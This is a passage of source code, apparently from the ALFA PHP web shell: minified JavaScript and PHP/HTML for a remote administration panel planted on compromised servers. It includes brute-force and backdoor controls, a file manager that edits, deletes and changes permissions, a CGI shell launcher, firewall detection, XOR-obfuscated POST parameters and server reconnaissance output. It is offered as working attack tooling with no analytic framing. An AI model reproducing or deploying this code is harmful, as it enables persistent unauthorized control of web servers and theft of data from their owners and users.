bruteSet(e,a,t){c=\"21\"!=a?\"localhost\":\"ftp.example.com\",$(\"port\").disabled=e,$(\"port\").value=a,$(\"target\").value=c,$(\"protocol\").value=t}function inBackdoor(e){\"my\"==e.value?$(\"backdoor_textarea\").style.display=\"block\":$(\"backdoor_textarea\").style.display=\"none\"}function saveByKey(e){return!(\"s\"==String.fromCharCode(e.which).toLowerCase()&amp;&amp;e.ctrlKey||19==e.which)||($(\"editor_edit_area\").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector(\"#loader_\"+a);null!=l&amp;&amp;(firewall=\"\",403==e&amp;&amp;(firewall=\" ~ FireWall Detected!\"),l.querySelector(\"img\").remove(),l.querySelector(\".alfa-ajax-error\").innerHTML=e+\" ( \"+t+firewall+\" )\",alfaShowNotification(t,\"Ajax\",\"error\"))}}function alfaInitCwdContext(){d.querySelectorAll(\".header_pwd\").forEach(function(e){e.addEventListener(\"contextmenu\",function(e){var a=e.target.getAttribute(\"path\"),t=d.querySelector(\"#rightclick_menu > a&#91;name=newtab]\");t.setAttribute(\"href\",\"javascript:void(0);\"),t.removeAttribute(\"target\"),t.onclick=function(){alfaFilesManNewTab(a,\"\/\")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(&#91;\"newtab\"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+\"px\",rightclick_menu_context.left=e+\"px\",rightclick_menu_context.visibility=\"visible\",rightclick_menu_context.opacity=\"1\"}function alfaSortMenuItems(e){var a=&#91;\"newtab\",\"link\",\"download\",\"view\",\"edit\",\"move\",\"copy\",\"rename\",\"modify\",\"permission\",\"compress\",\"extract\",\"delete\",\"view_archive\"],t=!1;for(var i in a){for(var l in t=!1,e)a&#91;i]!=e&#91;l]||(d.querySelector(\"#rightclick_menu > a&#91;name=\"+a&#91;i]+\"]\").style.display=\"block\",t=!0);t||(d.querySelector(\"#rightclick_menu > a&#91;name=\"+a&#91;i]+\"]\").style.display=\"none\")}}function alfaAceChangeSetting(e,a){var t=e.options&#91;e.selectedIndex].value,i=e.getAttribute(\"base\"),l=alfa_ace_editors.editor;\"eval\"==i&amp;&amp;(l=alfa_ace_editors.eval);var o=e.getAttribute(\"ace_id\");\"lang\"==a?l&#91;o].session.setMode(\"ace\/mode\/\"+t):\"theme\"==a&amp;&amp;l&#91;o].setTheme(\"ace\/theme\/\"+t),setCookie(\"alfa_ace_\"+a+\"_\"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;\"eval\"==a&amp;&amp;(t=alfa_ace_editors.eval);var i=e.getAttribute(\"ace_id\");e.checked?t&#91;i].session.setUseWrapMode(!0):t&#91;i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;\"eval\"==e&amp;&amp;(i=alfa_ace_editors.eval);var l=t.getAttribute(\"ace_id\"),o=i&#91;l].getFontSize();\"+\"==a?++o:--o,i&#91;l].setFontSize(o),setCookie(\"alfa_ace_fontsize_\"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l=\"expires=\"+i.toUTCString();document.cookie=e+\"=\"+a+\";\"+l+\";path=\/\"}function getCookie(e){var a=(\"; \"+document.cookie).split(\"; \"+e+\"=\");if(2==a.length)return a.pop().split(\";\").shift()}function editorClose(e){if(d.body.style.overflow=\"visible\",elem=$(e),elem.setAttribute(\"class\",\"editor-anim-close\"),\"editor\"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&amp;&amp;null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor&#91;a].destroy();alfa_ace_editors.editor=null,d.querySelector(\".editor-tabs\").innerHTML=\"\",d.querySelector(\".editor-content-holder\").innerHTML=\"\"}}else if(\"cgiloader\"==e)php_temrinal_using_cgi&amp;&amp;(d.querySelector(\".terminal-tabs\").innerHTML=\"\",d.querySelector(\".terminal-contents\").innerHTML=\"\"),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if(\"options_window\"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval&#91;a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(\".php-evals\").forEach(function(e){e.removeAttribute(\"ace\")})}}else\"database_window\"==e&amp;&amp;(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute(\"class\"),elem.style.display=\"none\",\"options_window\"==e&amp;&amp;(elem.querySelector(\".options_tab\").innerHTML=\"\",elem.querySelector(\".options_content\").innerHTML=\"\")},1e3),d.body.style.overflow=\"visible\"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=&#91;];for(var t in e)e&#91;t]&amp;&amp;a.push(t);1==a.length?$(a&#91;0]+\"-minimized\").style.top=\"30%\":2==a.length?($(a&#91;0]+\"-minimized\").style.top=\"20%\",$(a&#91;1]+\"-minimized\").style.top=\"50%\"):3==a.length?($(a&#91;0]+\"-minimized\").style.top=\"0%\",$(a&#91;1]+\"-minimized\").style.top=\"30%\",$(a&#91;2]+\"-minimized\").style.top=\"60%\"):4==a.length&amp;&amp;($(a&#91;0]+\"-minimized\").style.top=\"0%\",$(a&#91;1]+\"-minimized\").style.top=\"30%\",$(a&#91;2]+\"-minimized\").style.top=\"55%\",$(a&#91;3]+\"-minimized\").style.top=\"80%\")}function showEditor(e){if($(e).setAttribute(\"class\",\"editor-anim-show\"),$(e+\"-minimized\").setAttribute(\"class\",\"minimized-hide\"),\"editor\"==e)is_minimized=!1;else if(\"cgiloader\"==e)cgi_is_minimized=!1;else if(\"options_window\"==e){options_window_is_minimized=!1;var a=d.querySelector(\"#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done\");null!=a&amp;&amp;a.classList.remove(\"tab-is-done\")}else\"database_window\"==e&amp;&amp;(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow=\"hidden\"}function editorMinimize(e){$(e).setAttribute(\"class\",\"editor-anim-minimize\"),$(e+\"-minimized\").setAttribute(\"class\",\"minimized-show\"),\"editor\"==e?is_minimized=!0:\"cgiloader\"==e?cgi_is_minimized=!0:\"options_window\"==e?options_window_is_minimized=!0:\"database_window\"==e&amp;&amp;(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow=\"visible\"}function clearEditorHistory(){if(confirm(\"Are u Sure?\"))for(var e in editor_files)e!=editor_current_file&amp;&amp;removeHistory(e)}function isArchive(e){var a,t=&#91;\".tar.gz\",\".tar.bz2\",\".tar.z\",\".tar.xz\",\".zip\",\".zipx\",\".7z\",\".bz2\",\".gz\",\".rar\",\".tar\",\".tgz\"];for(a in t)if(new RegExp(\"(.*)(\"+t&#91;a].replace(\/\\.\/g,\"\\\\.\")+\")$\",\"gi\").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if(\"dir\"==o&amp;&amp;\"..\"==e)return!1;if(\"download\"==a)return g(\"FilesTools\",i,e,\"download\"),!1;var r=\"\",n=\"\",s=\"\",c=\"\",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie(\"alfa_history_files\");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files&#91;p].file,0,editor_files&#91;p].type)}catch(e){}}if(\"phar:\/\/\"==e.substr(0,7))f=c_;else if(-1!=e.indexOf(\"\/\")){var m=e.split(\"\/\");e=m&#91;m.length-1],delete m&#91;m.length-1],f=m.join(\"\/\"),islinux&amp;&amp;(f=\"\/\"+f)}if(void 0===o&amp;&amp;(o=\"\"),void 0!==i&amp;&amp;null!=i&amp;&amp;0!=i.length&amp;&amp;(f=i.trim()),\"auto\"==a&amp;&amp;isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files&#91;v].file==decodeURIComponent(e)&amp;&amp;editor_files&#91;v].pwd.replace(\/\\\/\/g,\"\")==f.replace(\/\\\/\/g,\"\")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&amp;&amp;0!=t.length&amp;&amp;null!=t&amp;&amp;(r=alfab64(t)),void 0!==l&amp;&amp;null!=l&amp;&amp;0!=l.length)n=alfab64(l),s=l,c=l.replace(\"file_\",\"\");else{var h=\"file_\"+(c=getRandom(10));n=alfab64(h),s=h}var b=\"editor_source_\"+c;if(null==$(b)){try{d.querySelector(\".editor-contents.editor-content-active\").classList.remove(\"editor-content-active\")}catch(e){}try{d.querySelector(\".editor-tabs .editor-tab-name.editor-tab-active\").classList.remove(\"editor-tab-active\")}catch(e){}d.querySelector(\".editor-tabs\").insertAdjacentHTML(\"beforeend\",\"&lt;div onclick='editorTabController(this);' opt_id='\"+b+\"' id='tab_\"+b+\"' class='editor-tab-name editor-tab-active'>\"+decodeURIComponent(e)+\" &lt;img opt_id='\"+b+\"' onclick='closeEditorContent(this,event);return false;' title='&#91;close]' src='http:\/\/solevisible.com\/icons\/menu\/delete.svg'>&lt;\/div>\"),d.querySelector(\".editor-content-holder\").insertAdjacentHTML(\"afterbegin\",\"&lt;div class='editor-contents editor-content-active' id='\"+b+\"'>&lt;\/div>\")}return 0==is_minimized&amp;&amp;\"none\"==$(\"editor\").style.display?($(\"editor\").style.display=\"block\",showEditor(\"editor\"),alfaloader(b,\"block\")):(is_minimized&amp;&amp;showEditor(\"editor\"),null!=$(b)?alfaloader(b,\"block\"):(alfaloader(\"editor\",\"block\"),b=\"editor\")),_Ajax(d.URL,\"a=\"+alfab64(\"FilesTools\")+\"&amp;c=\"+alfab64(f)+\"&amp;alfa1=\"+alfab64(e)+\"&amp;alfa2=\"+alfab64(a)+\"&amp;alfa3=\"+r+\"&amp;alfa4=\"+n+\"&amp;alfa5=&amp;alfa6=&amp;alfa7=&amp;alfa8=&amp;alfa9=&amp;alfa10=&amp;&amp;ajax=\"+alfab64(\"true\"),function(t,i){var l=$(\"tab_\"+i);try{null!=l&amp;&amp;((-1==l.classList.value.indexOf(\"editor-tab-active\")||is_minimized)&amp;&amp;(l.classList.add(\"tab-is-done\"),alfaShowNotification(\"proccess is done...\",\"Editor: \"+l.innerText)),is_minimized&amp;&amp;alfaUpdateOptionsBadge(\"editor\"))}catch(t){}if(\"none\"==$(\"editor\").style.display?alfaLoaderOnTop(\"none\"):alfaloader(i,\"none\"),r.length>0&amp;&amp;\"edit\"==a)return is_minimized||null!=l&amp;&amp;-1!=l.classList.value.indexOf(\"editor-tab-active\")&amp;&amp;alfaShowNotification(\"saved...!\",\"Editor\"),!1;if(null!=$(i)&amp;&amp;($(i).innerHTML=t),is_minimized&amp;&amp;alfaShowNotification(\"proccess is done...\",\"Editor: \"+decodeURIComponent(e)),$(\"editor\").style.display=\"block\",evalJS(t),alfaLoadAceEditor(\"view_ml_content\"),\"delete\"!=a&amp;&amp;editor_error){var c=d.getElementsByClassName(\"is_active\");0!=c.length&amp;&amp;(c&#91;0].className=\"file-holder\"),n=s,e=decodeURIComponent(e),!editor_files&#91;n]&amp;&amp;_?(editor_files&#91;n]={file:e,pwd:f,type:o},insertToHistory(n,e,\" is_active\",o),\"mkfile\"==a&amp;&amp;g(\"FilesMan\",null)):$(n).parentNode.className+=\" is_active\"}d.body.style.overflow=\"hidden\",d.getElementsByClassName(\"filestools\")&#91;0].setAttribute(\"fid\",n),editor_files&#91;n]&amp;&amp;(d.getElementsByClassName(\"editor-path\")&#91;0].innerHTML=(editor_files&#91;n].pwd+\"\/\"+editor_files&#91;n].file).replace(\/\\\/\\\/\/g,\"\/\")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&amp;&amp;(a=!1),null==$(\"alfa-ace-plugin\")){var t=document.createElement(\"script\");return t.src=\"https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/ace\/1.4.11\/ace.js\",t.id=\"alfa-ace-plugin\",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{\"allow\"==$(e).getAttribute(\"mode\")&amp;&amp;(a=!1)}catch(e){}if(\"view_ml_content\"==e){null==alfa_ace_editors.editor&amp;&amp;(alfa_ace_editors.editor={});var i=getCookie(\"alfa_ace_theme_editor\"),l=getCookie(\"alfa_ace_fontsize_editor\");void 0===i&amp;&amp;(i=\"terminal\"),0==i.length&amp;&amp;(i=\"terminal\"),d.querySelectorAll(\".editor-ace-controller\").forEach(function(e){if(null!=e.getAttribute(\"ace\"))return!1;e.setAttribute(\"ace\",\"ok\");var t=getRandom(10),o=e.querySelector(\".view_ml_content\");o.setAttribute(\"id\",\"view_ml_content-\"+t),alfa_ace_editors.editor&#91;\"view_ml_content-\"+t]=ace.edit(o),alfa_ace_editors.editor&#91;\"view_ml_content-\"+t].setReadOnly(a),alfa_ace_editors.editor&#91;\"view_ml_content-\"+t].setShowPrintMargin(!1),alfa_ace_editors.editor&#91;\"view_ml_content-\"+t].setTheme(\"ace\/theme\/\"+i),alfa_ace_editors.editor&#91;\"view_ml_content-\"+t].session.setMode(\"ace\/mode\/php\"),alfa_ace_editors.editor&#91;\"view_ml_content-\"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor&#91;\"view_ml_content-\"+t].commands.addCommand({name:\"save\",bindKey:{win:\"Ctrl-S\",mac:\"Cmd-S\"},exec:function(e){d.querySelector(\"#ace-save-btn-\"+t).click()}}),e.querySelector(\"select.ace-theme-selector\").value=i,e.querySelectorAll(\".ace-controler\").forEach(function(e){e.setAttribute(\"ace_id\",\"view_ml_content-\"+t),-1!=e.classList.value.indexOf(\"ace-save-btn\")&amp;&amp;e.setAttribute(\"id\",\"ace-save-btn-\"+t)}),void 0!==l&amp;&amp;setTimeout(function(){alfa_ace_editors.editor&#91;\"view_ml_content-\"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&amp;&amp;(alfa_ace_editors.eval={});i=getCookie(\"alfa_ace_theme_eval\"),l=getCookie(\"alfa_ace_fontsize_eval\");void 0===i&amp;&amp;(i=\"terminal\"),0==i.length&amp;&amp;(i=\"terminal\"),d.querySelectorAll(\".php-evals\").forEach(function(e){if(null!=e.getAttribute(\"ace\"))return!1;e.setAttribute(\"ace\",\"ok\");var t=e.querySelector(\".php-evals-ace\"),o=getRandom(10);t.setAttribute(\"id\",\"phpeval-\"+o),alfa_ace_editors.eval&#91;\"phpeval-\"+o]=ace.edit(t),alfa_ace_editors.eval&#91;\"phpeval-\"+o].setReadOnly(a),alfa_ace_editors.eval&#91;\"phpeval-\"+o].setShowPrintMargin(!1),alfa_ace_editors.eval&#91;\"phpeval-\"+o].setTheme(\"ace\/theme\/\"+i),alfa_ace_editors.eval&#91;\"phpeval-\"+o].session.setMode(\"ace\/mode\/php\"),alfa_ace_editors.eval&#91;\"phpeval-\"+o].session.setUseWrapMode(!0),e.querySelector(\"select.ace-theme-selector\").value=i,e.querySelectorAll(\".ace-controler\").forEach(function(e){e.setAttribute(\"ace_id\",\"phpeval-\"+o)}),void 0!==l&amp;&amp;setTimeout(function(){alfa_ace_editors.eval&#91;\"phpeval-\"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l=\"\";t&amp;&amp;0!=t&amp;&amp;(l=t);var o=document.createElement(\"div\");o.innerHTML=\"&lt;div id='\"+e+\"' class='history' onClick='reopen(this);'>&lt;div class='editor-icon'>\"+loadType(a,i,e)+\"&lt;\/div>&lt;div class='editor-file-name'>\"+a+\"&lt;\/div>&lt;\/div>&lt;div class='history-close' onClick='removeHistory(\\\"\"+e+\"\\\");'>X&lt;\/div>\",o.className=\"file-holder\"+l,o.addEventListener(\"mouseover\",function(){setEditorTitle(e,\"over\"),this.childNodes&#91;1].style.opacity=\"1\"}),o.addEventListener(\"mouseout\",function(){setEditorTitle(e,\"out\"),this.childNodes&#91;1].style.opacity=\"0\"});var r=d.getElementsByClassName(\"history-list\")&#91;0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){\"none\"==a&amp;&amp;_Ajax(d.URL,\"a=\"+alfab64(\"checkfiletype\")+\"&amp;path=\"+alfab64(editor_files&#91;t].pwd)+\"&amp;arg=\"+alfab64(editor_files&#91;t].file),function(e){$(t).innerHTML=\"&lt;div class='editor-icon'>\"+loadType(editor_files&#91;t].file,e,t)+\"&lt;\/div>&lt;div class='editor-file-name'>\"+editor_files&#91;t].file+\"&lt;\/div>\",editor_files&#91;t].type=e});if(\"file\"==a){a=(a=e.split(\".\"))&#91;a.length-1].toLowerCase();-1==&#91;\"json\",\"ppt\",\"pptx\",\"xls\",\"xlsx\",\"msi\",\"config\",\"cgi\",\"pm\",\"c\",\"cpp\",\"cs\",\"java\",\"aspx\",\"asp\",\"db\",\"ttf\",\"eot\",\"woff\",\"woff2\",\"woff\",\"conf\",\"log\",\"apk\",\"cab\",\"bz2\",\"tgz\",\"dmg\",\"izo\",\"jar\",\"7z\",\"iso\",\"rar\",\"bat\",\"sh\",\"alfa\",\"gz\",\"tar\",\"php\",\"php4\",\"php5\",\"phtml\",\"html\",\"xhtml\",\"shtml\",\"htm\",\"zip\",\"png\",\"jpg\",\"jpeg\",\"gif\",\"bmp\",\"ico\",\"txt\",\"js\",\"rb\",\"py\",\"xml\",\"css\",\"sql\",\"htaccess\",\"pl\",\"ini\",\"dll\",\"exe\",\"mp3\",\"mp4\",\"m4a\",\"mov\",\"flv\",\"swf\",\"mkv\",\"avi\",\"wmv\",\"mpg\",\"mpeg\",\"dat\",\"pdf\",\"3gp\",\"doc\",\"docx\",\"docm\"].indexOf(a)&amp;&amp;(a=\"notfound\")}else a=\"folder\";return'&lt;img src=\"http:\/\/solevisible.com\/icons\/{type}\" width=\"30\" height=\"30\">'.replace(\"{type}\",a+\".png\")}function updateFileEditor(e,a){var t=\"id_\"+e,i=\"id_chmode_\"+e,l=\"id_rename_\"+e,o=\"id_touch_\"+e,r=\"id_edit_\"+e,n=\"id_download_\"+e,d=\"id_delete_\"+e,s=$(t).getAttribute(\"ftype\");\"folder\"==s&amp;&amp;(s=\"dir\"),\"file\"==s?($(t).innerHTML=a,$(t).setAttribute(\"href\",\"#action=fileman&amp;path=\"+c_+\"\/\"+a),$(t).setAttribute(\"onclick\",\"editor('\"+a+\"','auto','','','','file')\"),$(r).setAttribute(\"onclick\",\"editor('\"+a+\"','edit','','','','\"+s+\"')\"),$(n).setAttribute(\"onclick\",\"g('FilesTools',null,'\"+a+\"', 'download')\")):($(t).innerHTML=\"&lt;b>| \"+a+\" |&lt;\/b>\",$(t).setAttribute(\"onclick\",\"g('FilesMan', '\"+c_+\"\/\"+a+\"')\")),$(i).setAttribute(\"onclick\",\"editor('\"+a+\"','chmod','','','','\"+s+\"')\"),$(l).setAttribute(\"onclick\",\"editor('\"+a+\"','rename','','','','\"+s+\"')\"),$(o).setAttribute(\"onclick\",\"editor('\"+a+\"','touch','','','','\"+s+\"')\"),$(d).setAttribute(\"onclick\",\"var chk = confirm('Are You Sure For Delete # \"+a+\" # ?'); chk ? g('FilesMan',null,'delete', '\"+a+\"') : '';\"),$(t).setAttribute(\"fname\",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+\"\/\",i=editor_files&#91;e].pwd+\"\/\"+a+\"\/\",l=editor_files&#91;e].pwd+\"\/\"+editor_files&#91;e].file+\"\/\";for(var o in i=i.replace(\/\\\/\\\/\/g,\"\/\"),l=l.replace(\/\\\/\\\/\/g,\"\/\"),-1!=(t=t.replace(\/\\\/\\\/\/g,\"\/\")).search(i)&amp;&amp;(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files&#91;o].pwd+\"\/\";-1!=(r=r.replace(\/\\\/\\\/\/g,\"\/\")).search(i)&amp;&amp;(editor_files&#91;o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie(\"alfa_history_files\",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if(\"out\"==a&amp;&amp;\"\"!=editor_current_file){var t=d.querySelector(\".editor-tab-name.editor-tab-active\");e=null!=t?t.getAttribute(\"opt_id\").replace(\"editor_source_\",\"file_\"):editor_current_file}editor_files&#91;e]&amp;&amp;(d.getElementsByClassName(\"editor-path\")&#91;0].innerHTML=(editor_files&#91;e].pwd+\"\/\"+editor_files&#91;e].file).replace(\/\\\/\\\/\/g,\"\/\"))}function removeHistory(e){delete editor_files&#91;e],$(e)&amp;&amp;$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName(\"filestools\")&#91;0];a&amp;&amp;a.getAttribute(\"fid\")==e&amp;&amp;(a.outerHTML=\"\"),editor_current_file==e&amp;&amp;(editor_current_file=\"\"),updateCookieEditor()}function getRandom(e){for(var a=\"\",t=\"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\",i=void 0===e?20:e;i>0;--i)a+=t&#91;Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute(\"id\"),t=editor_files&#91;a].pwd,i=editor_files&#91;a].file,l=\"editor_source_\"+a.replace(\"file_\",\"\");null==$(l)?editor(i,\"auto\",\"\",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute(\"ace_id\");var a=alfa_ace_editors.editor&#91;e].selection.toJSON();alfa_ace_editors.editor&#91;e].selectAll(),alfa_ace_editors.editor&#91;e].focus(),document.execCommand(\"copy\"),alfa_ace_editors.editor&#91;e].selection.fromJSON(a),alfaShowNotification(\"text copied\",\"Editor\")}function encrypt(e,a){if(null==a||a.length&lt;=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t=\"\",i=\"\",l=0;l&lt;e.length;)for(var o=0;o&lt;a.length&amp;&amp;(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,\"block\"),_Ajax(d.URL,\"a=\"+alfab64(\"settings\")+\"&amp;alfa1=\"+alfab64(e.protect.value)+\"&amp;alfa2=\"+alfab64(e.lgpage.value)+\"&amp;alfa3=\"+alfab64(e.username.value)+\"&amp;alfa4=\"+alfab64(e.password.value)+\"&amp;alfa5=\"+alfab64(\">>\")+\"&amp;alfa6=\"+alfab64(e.icon.value)+\"&amp;alfa7=\"+alfab64(e.post_encrypt.value)+\"&amp;alfa8=\"+alfab64(\"main\")+\"&amp;alfa9=\"+alfab64(e.cgi_api.value)+\"&amp;c=\"+alfab64(c_)+\"&amp;ajax=\"+alfab64(\"true\"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,\"none\")},!1,alfa_before_do_action_id),alfa_before_do_action_id=\"\",0==e.e.value&amp;&amp;1==e.protect.value&amp;&amp;setTimeout(\"location.reload()\",1e3),e.s.value!=e.icon.value&amp;&amp;setTimeout(\"location.reload()\",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(\".colors_input\").forEach(function(e){var t=e.getAttribute(\"target\").replace(\".\",\"\");a&#91;t]=e.value}):a=e;var t=$(\"use_default_color\").checked?\"1\":\"0\";_Ajax(d.URL,\"a=\"+alfab64(\"settings\")+\"&amp;alfa1=\"+alfab64(JSON.stringify(a))+\"&amp;alfa2=\"+alfab64(\">>\")+\"&amp;alfa3=\"+alfab64(t)+\"&amp;alfa8=\"+alfab64(\"color\")+\"&amp;c=\"+alfab64(c_)+\"&amp;ajax=\"+alfab64(\"true\"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,\"&lt;?php echo __ALFA_SECRET_KEY__; ?>\")}function evalCss(e){var a=document.createElement(\"style\");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName(\"head\")&#91;0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute(\"target\"),t=e.getAttribute(\"multi\"),l=a.indexOf(\":hover\");if(t){var o=JSON.parse(atob(t)),r=\"\";for(i in o.multi_selector)r+=i+\"{\"+o.multi_selector&#91;i].replace(\/{color}\/g,e.value)+\"}\";evalCss(r)}-1==l||t?($(\"input_\"+a.replace(\".\",\"\")).value=e.value,$(\"gui_\"+a.replace(\".\",\"\")).value=e.value,\".header_values\"==a&amp;&amp;(a=\".header,.header_values\"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($(\"input_\"+a.replace(\".\",\"\")).value=e.value,$(\"gui_\"+a.replace(\".\",\"\")).value=e.value,evalCss(a+\"{color: \"+e.value+\";}\"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert(\"Config is invalid...!\")}$(\"importFileBtn\").value=\"\"},t.readAsText(a.files&#91;0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll(\"#filesman_holder_\"+a+\" form&#91;name=files] input&#91;type=checkbox]\").forEach(function(e){e.checked=t})}function runcgi(e){if($(\"cgiframe\").style.height=\"unset\",d.querySelector(\"#cgiloader-minimized .minimized-text\").innerHTML=\"Cgi Shell\",d.querySelector(\"#cgiloader .opt-title\").innerHTML=\"Cgi Shell\",cgi_is_minimized&amp;&amp;cgi_lang==e&amp;&amp;(showEditor(\"cgiloader\"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,\"a=\"+alfab64(\"cgishell\")+\"&amp;alfa1=\"+alfab64(e)+\"&amp;ajax=\"+alfab64(\"true\"),function(a){d.body.style.overflow=\"hidden\",$(\"cgiloader\").style.display=\"block\",d.querySelector(\"#cgiframe .terminal-tabs\").innerHTML=\"\",d.querySelector(\"#cgiframe .terminal-contents\").innerHTML=a,cgi_lang=e,cgi_is_minimized&amp;&amp;($(\"cgiloader-minimized\").setAttribute(\"class\",\"minimized-hide\"),setTimeout(function(){$(\"cgiloader\").removeAttribute(\"class\"),is_minimized&amp;&amp;($(\"editor-minimized\").style.top=\"30%\")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};\n&lt;\/script>\n&lt;?php echo\"&lt;form style='display:none;' id='dlForm' action='' target='_blank' method='post'>\n&lt;input type='hidden' name='a' value='dlfile'>\n&lt;input type='hidden' name='c' value=''>\n&lt;input type='hidden' name='file' value=''>\n&lt;\/form>\n&lt;input type='file' style='display:none;' id='importFileBtn' onchange='importConfig(event);'>\n&lt;div id='a_loader'>&lt;img src='\".__showicon('loader').\"'>&lt;\/div>\";\n$cmd_uname = alfaEx(\"uname -a\",false,false);\n$uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname)>0?$cmd_uname:'( php_uname ) Function Disabled !');\nif($uname==\"( php_uname ) Function Disabled !\"){$GLOBALS&#91;\"need_to_update_header\"]=\"true\";}\necho '\n&lt;\/head>\n&lt;body bgcolor=\"#000000\" leftmargin=\"0\" topmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\n&lt;div id=\"up_bar_holder\">&lt;\/div>\n&lt;div class=\"whole\">\n&lt;form method=\"post\" name=\"mf\" style=\"display:none;\">\n&lt;input type=\"hidden\" name=\"a\">\n&lt;input type=\"hidden\" name=\"c\" value=\"'.$GLOBALS&#91;'cwd'].'\">';\nfor($s=1;$s&lt;=10;$s++){\necho '&lt;input type=\"hidden\" name=\"alfa'.$s.'\">';\n}\necho '&lt;input type=\"hidden\" name=\"charset\">\n&lt;\/form>\n&lt;div id=\\'hidden_sh\\'>&lt;span style=\"color:#42ff59;\">'.__ALFA_CODE_NAME__.'&lt;\/span>&lt;br>&lt;small>Version: &lt;span class=\"hidden_shell_version\">'.__ALFA_VERSION__.'&lt;\/span>&lt;\/small>&lt;\/div>\n&lt;div class=\"header\">&lt;table width=\"100%\" border=\"0\">\n&lt;tr>\n&lt;td width=\"3%\">&lt;span class=\"header_vars\">Uname:&lt;\/span>&lt;\/td>\n&lt;td colspan=\"2\">&lt;span class=\"header_values\" id=\"header_uname\">'.$uname.'&lt;\/span>&lt;\/td>\n&lt;\/tr>\n&lt;tr>\n&lt;td>&lt;span class=\"header_vars\">User:&lt;\/span>&lt;\/td>\n&lt;td>&lt;span class=\"header_values\" id=\"header_userid\">'. $uid . ' &#91; ' . $user . ' ] &lt;\/span>&lt;span class=\"header_vars\"> Group: &lt;\/span>&lt;span class=\"header_values\" id=\"header_groupid\">' . $gid . ' &#91; ' . $group . ' ]&lt;\/span> &lt;\/td>\n&lt;\/tr>\n&lt;tr>\n&lt;td>&lt;span class=\"header_vars\">PHP:&lt;\/span>&lt;\/td>\n&lt;td>&lt;b>'.@phpversion(). ' &lt;\/b>&lt;span class=\"header_vars\"> Safe Mode: '.$safe_modes.'&lt;\/span>&lt;\/td>\n&lt;\/tr>\n&lt;tr>\n&lt;td>&lt;span class=\"header_vars\">ServerIP:&lt;\/span>&lt;\/td>\n&lt;td>&lt;b>'.(!@$_SERVER&#91;\"SERVER_ADDR\"]?(function_exists(\"gethostbyname\")?@gethostbyname($_SERVER&#91;'SERVER_NAME']):'????'):@$_SERVER&#91;\"SERVER_ADDR\"]).'&lt;\/b>&lt;div style=\"display:inline;display:none;\" class=\"flag-holder\">&lt;\/div> &lt;span class=\"header_vars\">Your IP:&lt;\/span>&lt;b> '.@$_SERVER&#91;\"REMOTE_ADDR\"].'&lt;\/b>&lt;div style=\"display:inline;display:none;\" class=\"flag-holder\">&lt;\/div>&lt;\/td>\n&lt;\/tr>\n&lt;tr>\n&lt;td>&lt;span 